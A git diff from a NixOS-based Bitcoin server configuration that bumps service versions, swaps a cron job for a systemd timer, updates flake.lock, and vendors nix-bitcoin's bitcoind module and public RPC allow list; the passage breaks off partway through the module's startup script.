@@ -6,7 +6,7 @@
|
||||
"electrs.service": "0.10.6",
|
||||
"lnd.service": "0.18.0",
|
||||
"rtl.service": "0.15.2",
|
||||
"btcpayserver.service": "2.0.0",
|
||||
"btcpayserver.service": "2.4.2",
|
||||
"albyhub.service": "1.8.0",
|
||||
"mempool.service": "3.0.0",
|
||||
"matrix-synapse.service": "1.115.0",
|
||||
|
||||
+3
-6
@@ -192,12 +192,9 @@ backup /etc/nix-bitcoin-secrets/ localhost/
|
||||
};
|
||||
|
||||
# ── Cron ───────────────────────────────────────────────────
|
||||
services.cron = {
|
||||
enable = true;
|
||||
systemCronJobs = [
|
||||
"*/15 * * * * root /run/current-system/sw/bin/bash /var/lib/njalla/njalla.sh"
|
||||
];
|
||||
};
|
||||
# The legacy njalla.sh root cron job has been replaced by the systemd timer
|
||||
# defined in modules/core/njalla.nix (sovran-ddns-update.timer). Cron is
|
||||
# retained so that rsnapshot and other module-defined cron jobs continue to run.
|
||||
|
||||
# ── Tor ────────────────────────────────────────────────────
|
||||
services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
|
||||
|
||||
Generated
+10
-141
@@ -18,32 +18,6 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"extra-container": {
|
||||
"inputs": {
|
||||
"flake-utils": [
|
||||
"nix-bitcoin",
|
||||
"flake-utils"
|
||||
],
|
||||
"nixpkgs": [
|
||||
"nix-bitcoin",
|
||||
"nixpkgs"
|
||||
]
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1766155727,
|
||||
"narHash": "sha256-XGp4HHH6D6ZKiO5RnMzqYJYnZB538EnEflvlTsOKpvo=",
|
||||
"owner": "erikarvstedt",
|
||||
"repo": "extra-container",
|
||||
"rev": "b450bdb24fca1076973c852d87bcb49b8eb5fd49",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "erikarvstedt",
|
||||
"ref": "0.14",
|
||||
"repo": "extra-container",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"flake-parts": {
|
||||
"inputs": {
|
||||
"nixpkgs-lib": [
|
||||
@@ -65,47 +39,6 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"flake-utils": {
|
||||
"inputs": {
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1731533236,
|
||||
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nix-bitcoin": {
|
||||
"inputs": {
|
||||
"extra-container": "extra-container",
|
||||
"flake-utils": "flake-utils",
|
||||
"nixpkgs": "nixpkgs_2",
|
||||
"nixpkgs-25_05": "nixpkgs-25_05",
|
||||
"nixpkgs-unstable": "nixpkgs-unstable"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1785177868,
|
||||
"narHash": "sha256-zlAZZkokXpeHHBP8Nt4MvLXOn1Js1qVi81VPjtVbRV8=",
|
||||
"owner": "fort-nix",
|
||||
"repo": "nix-bitcoin",
|
||||
"rev": "360e30fee5ba32f9fecc89bc35628195d9d2dbbe",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "fort-nix",
|
||||
"ref": "release",
|
||||
"repo": "nix-bitcoin",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1785590095,
|
||||
@@ -121,29 +54,13 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs-25_05": {
|
||||
"locked": {
|
||||
"lastModified": 1767313136,
|
||||
"narHash": "sha256-16KkgfdYqjaeRGBaYsNrhPRRENs0qzkQVUooNHtoy2w=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "ac62194c3917d5f474c1a844b6fd6da2db95077d",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"ref": "nixos-25.05",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs-stable": {
|
||||
"locked": {
|
||||
"lastModified": 1785734586,
|
||||
"narHash": "sha256-ODZkEK9Gy50yg6h98u7KkitZ3oc/uuTFK00bh1CRdNA=",
|
||||
"lastModified": 1786201459,
|
||||
"narHash": "sha256-CiOTEjmwAmG2AWnaIno9YaCJJmpca2FXPhMAsnrolCg=",
|
||||
"owner": "nixos",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "531670d871c0e29724a02f3cbcac170adc65b58c",
|
||||
"rev": "8b8c811c7c2541c30382c5de7ed26be055569c60",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -153,45 +70,13 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs-unstable": {
|
||||
"locked": {
|
||||
"lastModified": 1784453100,
|
||||
"narHash": "sha256-zpGZb8FYui+i8KLtC0nlcmb0voR2zB80Qn8pe7lzIbk=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "b471514bed69eff5255c8e63c1f80e5fe56c616f",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"ref": "nixpkgs-unstable",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_2": {
|
||||
"locked": {
|
||||
"lastModified": 1782847189,
|
||||
"narHash": "sha256-twXPFqFsrrY5r28Zh7Homgcp2gUMBgQ6WDS98Q/3xFI=",
|
||||
"lastModified": 1786106723,
|
||||
"narHash": "sha256-zDSUbpoeo/9ZmD2+wXnzxoo1+uhL8vxc0b8yuYMKYq0=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "b6018f87da91d19d0ab4cf979885689b469cdd41",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"ref": "nixos-25.11",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_3": {
|
||||
"locked": {
|
||||
"lastModified": 1785828668,
|
||||
"narHash": "sha256-8fsyqeO+mJqvIzeO4xIpgJe/f7MTbbVTEC6RT6WSXNs=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "e72e4f299401a3689d4b3d5fc6496b11db7064eb",
|
||||
"rev": "f13ff45afd1bb73e640eaa08a7066dbed07e3238",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -201,7 +86,7 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_4": {
|
||||
"nixpkgs_3": {
|
||||
"locked": {
|
||||
"lastModified": 1784555310,
|
||||
"narHash": "sha256-/FCliTPgiuV1owejZFNx3Ch9irdvkOfOFl+HHZ+DrtM=",
|
||||
@@ -220,8 +105,8 @@
|
||||
"nixvim": {
|
||||
"inputs": {
|
||||
"flake-parts": "flake-parts",
|
||||
"nixpkgs": "nixpkgs_4",
|
||||
"systems": "systems_2"
|
||||
"nixpkgs": "nixpkgs_3",
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1785763201,
|
||||
@@ -240,28 +125,12 @@
|
||||
"root": {
|
||||
"inputs": {
|
||||
"btc-clients": "btc-clients",
|
||||
"nix-bitcoin": "nix-bitcoin",
|
||||
"nixpkgs": "nixpkgs_3",
|
||||
"nixpkgs": "nixpkgs_2",
|
||||
"nixpkgs-stable": "nixpkgs-stable",
|
||||
"nixvim": "nixvim"
|
||||
}
|
||||
},
|
||||
"systems": {
|
||||
"locked": {
|
||||
"lastModified": 1681028828,
|
||||
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"systems_2": {
|
||||
"locked": {
|
||||
"lastModified": 1774449309,
|
||||
"narHash": "sha256-brhZ8DmuGtzkCYHJg4HEd602amKm89Y9ytsFZ5uWD1w=",
|
||||
|
||||
@@ -3,13 +3,12 @@
|
||||
|
||||
inputs = {
|
||||
nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
|
||||
nix-bitcoin.url = "github:fort-nix/nix-bitcoin/release";
|
||||
nixvim.url = "github:nix-community/nixvim";
|
||||
btc-clients.url = "github:emmanuelrosa/btc-clients-nix";
|
||||
nixpkgs-stable.url = "github:nixos/nixpkgs/nixos-26.05";
|
||||
};
|
||||
|
||||
outputs = { self, nixpkgs, nix-bitcoin, nixvim, btc-clients, nixpkgs-stable, ... }:
|
||||
outputs = { self, nixpkgs, nixvim, btc-clients, nixpkgs-stable, ... }:
|
||||
|
||||
let
|
||||
overlay-stable = final: prev: {
|
||||
@@ -22,7 +21,7 @@
|
||||
{
|
||||
nixosConfigurations.nixos = nixpkgs.lib.nixosSystem {
|
||||
modules = [
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; }
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; nixpkgs.overlays = [ overlay-stable ]; }
|
||||
self.nixosModules.Sovran_SystemsOS
|
||||
./hardware-configuration.nix
|
||||
./role-state.nix
|
||||
@@ -32,10 +31,9 @@
|
||||
|
||||
nixosConfigurations.sovran_systemsos-iso = nixpkgs.lib.nixosSystem {
|
||||
modules = [
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; }
|
||||
({ config, pkgs, ... }: { nixpkgs.overlays = [ overlay-stable ]; })
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; nixpkgs.overlays = [ overlay-stable ]; }
|
||||
./iso/common.nix
|
||||
nix-bitcoin.nixosModules.default
|
||||
./modules/bitcoin
|
||||
nixvim.nixosModules.nixvim
|
||||
];
|
||||
};
|
||||
@@ -46,7 +44,7 @@
|
||||
nixpkgs.overlays = [ overlay-stable ];
|
||||
})
|
||||
./configuration.nix
|
||||
nix-bitcoin.nixosModules.default
|
||||
./modules/bitcoin
|
||||
nixvim.nixosModules.nixvim
|
||||
];
|
||||
config = {
|
||||
@@ -58,13 +56,21 @@
|
||||
};
|
||||
};
|
||||
|
||||
nixosTests.nwc-wallets-port-collision =
|
||||
import ./nix/tests/nwc-wallets-port-collision.nix {
|
||||
inherit nixpkgs;
|
||||
checks.x86_64-linux = let
|
||||
pkgs = import nixpkgs {
|
||||
system = "x86_64-linux";
|
||||
};
|
||||
|
||||
checks.x86_64-linux.nwc-wallets-port-collision =
|
||||
self.nixosTests.nwc-wallets-port-collision;
|
||||
fetchNodeModules =
|
||||
pkgs.callPackage ./packages/build-support/fetch-node-modules.nix {};
|
||||
mempoolPkgs =
|
||||
pkgs.callPackage ./packages/mempool { inherit fetchNodeModules; };
|
||||
in {
|
||||
bitcoin-btcpay-hardening = import ./tests/bitcoin-btcpay-hardening.nix {
|
||||
inherit nixpkgs overlay-stable;
|
||||
};
|
||||
mempool-backend = mempoolPkgs.mempool-backend;
|
||||
mempool-frontend = mempoolPkgs.mempool-frontend;
|
||||
rtl = pkgs.callPackage ./packages/rtl { inherit fetchNodeModules; };
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
lib.mkIf config.sovran_systemsOS.features.bitcoin-core {
|
||||
|
||||
services.bitcoind.package = lib.mkForce config.nix-bitcoin.pkgs.bitcoind;
|
||||
|
||||
# Vendored nix-bitcoin now uses nixpkgs directly; no nix-bitcoin.pkgs indirection.
|
||||
# Use standard bitcoind from nixpkgs (override to knots if desired via pkgs.bitcoind-knots)
|
||||
services.bitcoind.package = lib.mkForce pkgs.bitcoind;
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
# RPC calls that are safe for public use
|
||||
# Vendored from nix-bitcoin - do not fetch from upstream at runtime
|
||||
[
|
||||
"echo"
|
||||
"getinfo"
|
||||
"getindexinfo"
|
||||
"help"
|
||||
"ping"
|
||||
"uptime"
|
||||
# Blockchain
|
||||
"getbestblockhash"
|
||||
"getblock"
|
||||
"getblockchaininfo"
|
||||
"getblockcount"
|
||||
"getblockfilter"
|
||||
"getblockfrompeer"
|
||||
"getblockhash"
|
||||
"getblockheader"
|
||||
"getblockstats"
|
||||
"getchaintips"
|
||||
"getchaintxstats"
|
||||
"getdeploymentinfo"
|
||||
"getdifficulty"
|
||||
"getmempoolancestors"
|
||||
"getmempooldescendants"
|
||||
"getmempoolentry"
|
||||
"getmempoolinfo"
|
||||
"getrawmempool"
|
||||
"gettxout"
|
||||
"gettxoutproof"
|
||||
"gettxoutsetinfo"
|
||||
"scantxoutset"
|
||||
"verifytxoutproof"
|
||||
# Mining
|
||||
"getblocktemplate"
|
||||
"getmininginfo"
|
||||
"getnetworkhashps"
|
||||
# Network
|
||||
"getnetworkinfo"
|
||||
"getnodeaddresses"
|
||||
"getpeerinfo"
|
||||
# Rawtransactions
|
||||
"analyzepsbt"
|
||||
"combinepsbt"
|
||||
"combinerawtransaction"
|
||||
"converttopsbt"
|
||||
"createpsbt"
|
||||
"createrawtransaction"
|
||||
"decodepsbt"
|
||||
"decoderawtransaction"
|
||||
"decodescript"
|
||||
"finalizepsbt"
|
||||
"fundrawtransaction"
|
||||
"getrawtransaction"
|
||||
"joinpsbts"
|
||||
"sendrawtransaction"
|
||||
"signrawtransactionwithkey"
|
||||
"testmempoolaccept"
|
||||
"utxoupdatepsbt"
|
||||
# Util
|
||||
"createmultisig"
|
||||
"deriveaddresses"
|
||||
"estimatesmartfee"
|
||||
"getdescriptorinfo"
|
||||
"signmessagewithprivkey"
|
||||
"validateaddress"
|
||||
"verifymessage"
|
||||
# Zmq
|
||||
"getzmqnotifications"
|
||||
]
|
||||
@@ -0,0 +1,506 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options = {
|
||||
services.bitcoind = {
|
||||
enable = mkEnableOption "Bitcoin daemon";
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for peer connections.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = if !cfg.regtest then 8333 else 18444;
|
||||
defaultText = "if !cfg.regtest then 8333 else 18444";
|
||||
description = "Port to listen for peer connections.";
|
||||
};
|
||||
onionPort = mkOption {
|
||||
type = types.nullOr types.port;
|
||||
# When the bitcoind onion service is enabled, add an onion-tagged socket
|
||||
# to distinguish local connections from Tor connections
|
||||
default = if (config.nix-bitcoin.onionServices.bitcoind.enable or false) then 8334 else null;
|
||||
description = ''
|
||||
Port to listen for Tor peer connections.
|
||||
If set, inbound connections to this port are tagged as onion peers.
|
||||
'';
|
||||
};
|
||||
listen = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Listen for peer connections at `address:port`
|
||||
and `address:onionPort` (if {option}`onionPort` is set).
|
||||
'';
|
||||
};
|
||||
listenWhitelisted = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Listen for peer connections at `address:whitelistedPort`.
|
||||
Peers connected through this socket are automatically whitelisted.
|
||||
'';
|
||||
};
|
||||
whitelistedPort = mkOption {
|
||||
type = types.port;
|
||||
default = 8335;
|
||||
description = "See `listenWhitelisted`.";
|
||||
};
|
||||
getPublicAddressCmd = mkOption {
|
||||
type = types.str;
|
||||
default = "";
|
||||
description = ''
|
||||
Bash expression which outputs the public service address to announce to peers.
|
||||
If left empty, no address is announced.
|
||||
'';
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.bitcoind;
|
||||
defaultText = "pkgs.bitcoind";
|
||||
description = ''
|
||||
The package providing bitcoind binaries.
|
||||
|
||||
You can use this option to select other bitcoind-compatible implementations.
|
||||
Example:
|
||||
```nix
|
||||
services.bitcoind.package = pkgs.bitcoind-knots;
|
||||
```
|
||||
'';
|
||||
};
|
||||
extraConfig = mkOption {
|
||||
type = types.lines;
|
||||
default = "";
|
||||
example = ''
|
||||
par=16
|
||||
logips=1
|
||||
'';
|
||||
description = "Extra lines appended to {file}`bitcoin.conf`.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/bitcoind";
|
||||
description = "The data directory for bitcoind.";
|
||||
};
|
||||
rpc = {
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = ''
|
||||
Address to listen for JSON-RPC connections.
|
||||
'';
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = if !cfg.regtest then 8332 else 18443;
|
||||
defaultText = "if !cfg.regtest then 8332 else 18443";
|
||||
description = "Port to listen for JSON-RPC connections.";
|
||||
};
|
||||
threads = mkOption {
|
||||
type = types.nullOr types.ints.u16;
|
||||
default = null;
|
||||
description = "The number of threads to service RPC calls.";
|
||||
};
|
||||
allowip = mkOption {
|
||||
type = types.listOf types.str;
|
||||
default = [ "127.0.0.1" ];
|
||||
description = ''
|
||||
Allow JSON-RPC connections from specified sources.
|
||||
'';
|
||||
};
|
||||
users = mkOption {
|
||||
default = {};
|
||||
description = ''
|
||||
Allowed users for JSON-RPC connections.
|
||||
'';
|
||||
example = {
|
||||
alice = {
|
||||
passwordHMAC = "f7efda5c189b999524f151318c0c86$d5b51b3beffbc02b724e5d095828e0bc8b2456e9ac8757ae3211a5d9b16a22ae";
|
||||
rpcwhitelist = [ "sendtoaddress" "getnewaddress" ];
|
||||
};
|
||||
};
|
||||
type = with types; attrsOf (submodule ({ name, ... }: {
|
||||
options = {
|
||||
name = mkOption {
|
||||
type = types.str;
|
||||
default = name;
|
||||
example = "alice";
|
||||
description = ''
|
||||
Username for JSON-RPC connections.
|
||||
'';
|
||||
};
|
||||
passwordHMAC = mkOption {
|
||||
type = types.str;
|
||||
example = "f7efda5c189b999524f151318c0c86$d5b51b3beffbc02b724e5d095828e0bc8b2456e9ac8757ae3211a5d9b16a22ae";
|
||||
description = ''
|
||||
Password HMAC-SHA-256 for JSON-RPC connections. Must be a string of the
|
||||
format `<SALT-HEX>$<HMAC-HEX>`.
|
||||
'';
|
||||
};
|
||||
passwordHMACFromFile = mkOption {
|
||||
type = lib.types.bool;
|
||||
internal = true;
|
||||
default = false;
|
||||
};
|
||||
rpcwhitelist = mkOption {
|
||||
type = types.listOf types.str;
|
||||
default = [];
|
||||
description = ''
|
||||
List of allowed rpc calls for each user.
|
||||
If empty list, rpcwhitelist is disabled for that user.
|
||||
'';
|
||||
};
|
||||
};
|
||||
}));
|
||||
};
|
||||
};
|
||||
regtest = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable regtest mode.";
|
||||
};
|
||||
network = mkOption {
|
||||
readOnly = true;
|
||||
default = if cfg.regtest then "regtest" else "mainnet";
|
||||
};
|
||||
makeNetworkName = mkOption {
|
||||
readOnly = true;
|
||||
default = mainnet: regtest: if cfg.regtest then regtest else mainnet;
|
||||
};
|
||||
proxy = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = if cfg.tor.proxy then config.nix-bitcoin.torClientAddressWithPort else null;
|
||||
description = "Connect through SOCKS5 proxy";
|
||||
};
|
||||
i2p = mkOption {
|
||||
type = types.enum [ false true "only-outgoing" ];
|
||||
default = false;
|
||||
description = ''
|
||||
Enable peer connections via i2p.
|
||||
With `only-outgoing`, incoming i2p connections are disabled.
|
||||
'';
|
||||
};
|
||||
dataDirReadableByGroup = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
If enabled, data dir content is readable by the bitcoind service group.
|
||||
Warning: This disables bitcoind's wallet support.
|
||||
'';
|
||||
};
|
||||
sysperms = mkOption {
|
||||
type = types.nullOr types.bool;
|
||||
default = null;
|
||||
description = ''
|
||||
Create new files with system default permissions, instead of umask 077
|
||||
(only effective with disabled wallet functionality)
|
||||
'';
|
||||
};
|
||||
disablewallet = mkOption {
|
||||
type = types.nullOr types.bool;
|
||||
default = null;
|
||||
description = ''
|
||||
Do not load the wallet and disable wallet RPC calls
|
||||
'';
|
||||
};
|
||||
dbCache = mkOption {
|
||||
type = types.nullOr (intAtLeast 4);
|
||||
default = null;
|
||||
example = 4000;
|
||||
description = "Override the default database cache size in MiB.";
|
||||
};
|
||||
prune = mkOption {
|
||||
type = types.ints.unsigned;
|
||||
default = 0;
|
||||
example = 10000;
|
||||
description = ''
|
||||
Automatically prune block files to stay under the specified target size in MiB.
|
||||
Value 0 disables pruning.
|
||||
'';
|
||||
};
|
||||
txindex = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable the transaction index.";
|
||||
};
|
||||
zmqpubrawblock = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "tcp://127.0.0.1:28332";
|
||||
description = "ZMQ address for zmqpubrawblock notifications";
|
||||
};
|
||||
zmqpubrawtx = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "tcp://127.0.0.1:28333";
|
||||
description = "ZMQ address for zmqpubrawtx notifications";
|
||||
};
|
||||
assumevalid = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "00000000000000000000e5abc3a74fe27dc0ead9c70ea1deb456f11c15fd7bc6";
|
||||
description = ''
|
||||
If this block is in the chain assume that it and its ancestors are
|
||||
valid and potentially skip their script verification.
|
||||
'';
|
||||
};
|
||||
addnodes = mkOption {
|
||||
type = types.listOf types.str;
|
||||
default = [];
|
||||
example = [ "ecoc5q34tmbq54wl.onion" ];
|
||||
description = "Add nodes to connect to and attempt to keep the connections open";
|
||||
};
|
||||
discover = mkOption {
|
||||
type = types.nullOr types.bool;
|
||||
default = null;
|
||||
description = "Discover own IP addresses";
|
||||
};
|
||||
addresstype = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = null;
|
||||
example = "bech32";
|
||||
description = "The type of addresses to use";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "bitcoin";
|
||||
description = "The user as which to run bitcoind.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run bitcoind.";
|
||||
};
|
||||
cli = mkOption {
|
||||
readOnly = true;
|
||||
type = types.package;
|
||||
default = pkgs.writers.writeBashBin "bitcoin-cli" ''
|
||||
exec ${cfg.package}/bin/bitcoin-cli -datadir='${cfg.dataDir}' "$@"
|
||||
'';
|
||||
defaultText = "(See source)";
|
||||
description = "Binary to connect with the bitcoind instance.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.services.bitcoind;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
i2pSAM = config.services.i2pd.proto.sam;
|
||||
|
||||
configFile = builtins.toFile "bitcoin.conf" ''
|
||||
# We're already logging via journald
|
||||
nodebuglogfile=1
|
||||
logtimestamps=0
|
||||
|
||||
startupnotify=/run/current-system/systemd/bin/systemd-notify --ready
|
||||
|
||||
${optionalString cfg.regtest ''
|
||||
regtest=1
|
||||
[regtest]
|
||||
''}
|
||||
${optionalString (cfg.dbCache != null) "dbcache=${toString cfg.dbCache}"}
|
||||
prune=${toString cfg.prune}
|
||||
${optionalString cfg.txindex "txindex=1"}
|
||||
${optionalString (cfg.sysperms != null) "sysperms=${if cfg.sysperms then "1" else "0"}"}
|
||||
${optionalString (cfg.disablewallet != null) "disablewallet=${if cfg.disablewallet then "1" else "0"}"}
|
||||
${optionalString (cfg.assumevalid != null) "assumevalid=${cfg.assumevalid}"}
|
||||
|
||||
# Connection options
|
||||
listen=${if (cfg.listen || cfg.listenWhitelisted) then "1" else "0"}
|
||||
${optionalString cfg.listen
|
||||
"bind=${cfg.address}:${toString cfg.port}"}
|
||||
${optionalString (cfg.listen && cfg.onionPort != null)
|
||||
"bind=${cfg.address}:${toString cfg.onionPort}=onion"}
|
||||
${optionalString cfg.listenWhitelisted
|
||||
"whitebind=${cfg.address}:${toString cfg.whitelistedPort}"}
|
||||
${optionalString (cfg.proxy != null) "proxy=${cfg.proxy}"}
|
||||
${optionalString (cfg.i2p != false) "i2psam=${nbLib.addressWithPort i2pSAM.address i2pSAM.port}"}
|
||||
${optionalString (cfg.i2p == "only-outgoing") "i2pacceptincoming=0"}
|
||||
|
||||
${optionalString (cfg.discover != null) "discover=${if cfg.discover then "1" else "0"}"}
|
||||
${lib.concatMapStrings (node: "addnode=${node}\n") cfg.addnodes}
|
||||
|
||||
# RPC server options
|
||||
rpcbind=${cfg.rpc.address}
|
||||
rpcport=${toString cfg.rpc.port}
|
||||
rpcconnect=${cfg.rpc.address}
|
||||
${optionalString (cfg.rpc.threads != null) "rpcthreads=${toString cfg.rpc.threads}"}
|
||||
rpcwhitelistdefault=0
|
||||
${concatMapStrings (user: ''
|
||||
${optionalString (!user.passwordHMACFromFile) "rpcauth=${user.name}:${user.passwordHMAC}"}
|
||||
${optionalString (user.rpcwhitelist != [])
|
||||
"rpcwhitelist=${user.name}:${lib.strings.concatStringsSep "," user.rpcwhitelist}"}
|
||||
'') (builtins.attrValues cfg.rpc.users)
|
||||
}
|
||||
${lib.concatMapStrings (rpcallowip: "rpcallowip=${rpcallowip}\n") cfg.rpc.allowip}
|
||||
|
||||
# Wallet options
|
||||
${optionalString (cfg.addresstype != null) "addresstype=${cfg.addresstype}"}
|
||||
|
||||
# ZMQ options
|
||||
${optionalString (cfg.zmqpubrawblock != null) "zmqpubrawblock=${cfg.zmqpubrawblock}"}
|
||||
${optionalString (cfg.zmqpubrawtx != null) "zmqpubrawtx=${cfg.zmqpubrawtx}"}
|
||||
|
||||
# Extra options
|
||||
${cfg.extraConfig}
|
||||
'';
|
||||
|
||||
zmqServerEnabled = (cfg.zmqpubrawblock != null) || (cfg.zmqpubrawtx != null);
|
||||
|
||||
intAtLeast = n: types.addCheck types.int (x: x >= n) // {
|
||||
name = "intAtLeast";
|
||||
description = "integer >= ${toString n}";
|
||||
};
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
environment.systemPackages = [ cfg.package (hiPrio cfg.cli) ];
|
||||
|
||||
services.bitcoind = mkMerge [
|
||||
(mkIf cfg.dataDirReadableByGroup {
|
||||
disablewallet = true;
|
||||
sysperms = true;
|
||||
})
|
||||
{
|
||||
rpc.users.privileged = {
|
||||
passwordHMACFromFile = true;
|
||||
};
|
||||
rpc.users.public = {
|
||||
passwordHMACFromFile = true;
|
||||
rpcwhitelist = import ./bitcoind-rpc-public-whitelist.nix;
|
||||
};
|
||||
}
|
||||
];
|
||||
|
||||
services.i2pd = mkIf (cfg.i2p != false) {
|
||||
enable = true;
|
||||
proto.sam.enable = true;
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
systemd.services.bitcoind = rec {
|
||||
wants = [
|
||||
"network-online.target"
|
||||
# Use `wants` instead of `requires` for `nix-bitcoin-secrets.target`
|
||||
# so that bitcoind and all dependent services are not restarted when
|
||||
# the secrets target restarts.
|
||||
# The secrets target always restarts when deploying with one of the methods
|
||||
# in ./deployment.
|
||||
#
|
||||
# TODO-EXTERNAL: Instead of `wants`, use a future systemd dependency type
|
||||
# that propagates initial start failures but no restarts
|
||||
"nix-bitcoin-secrets.target"
|
||||
];
|
||||
after = wants;
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
|
||||
preStart = let
|
||||
extraRpcauth = concatMapStrings (name: let
|
||||
user = cfg.rpc.users.${name};
|
||||
in optionalString user.passwordHMACFromFile ''
|
||||
hmacPayload="$(readValidatedRpcHmac '${secretsDir}/bitcoin-HMAC-${name}')" || exit 1
|
||||
printf '%s\n' "rpcauth=${user.name}:$hmacPayload"
|
||||
''
|
||||
) (builtins.attrNames cfg.rpc.users);
|
||||
in ''
|
||||
${optionalString cfg.dataDirReadableByGroup ''
|
||||
if [[ -e '${cfg.dataDir}/blocks' ]]; then
|
||||
chmod -R g+rX '${cfg.dataDir}/blocks'
|
||||
fi
|
||||
''}
|
||||
|
||||
readValidatedRpcHmac() {
|
||||
local hmacFile="$1"
|
||||
local hmacPayload
|
||||
|
||||
if [[ ! -e "$hmacFile" ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file is missing: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
if [[ ! -r "$hmacFile" ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file is unreadable: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
hmacPayload="$(<"$hmacFile")"
|
||||
if [[ -z "$hmacPayload" ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file is empty: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
if [[ ! "$hmacPayload" =~ ^[[:xdigit:]]+\$[[:xdigit:]]+$ ]]; then
|
||||
echo "Error: Bitcoin RPC HMAC file has invalid format: $hmacFile" >&2
|
||||
return 1
|
||||
fi
|
||||
|
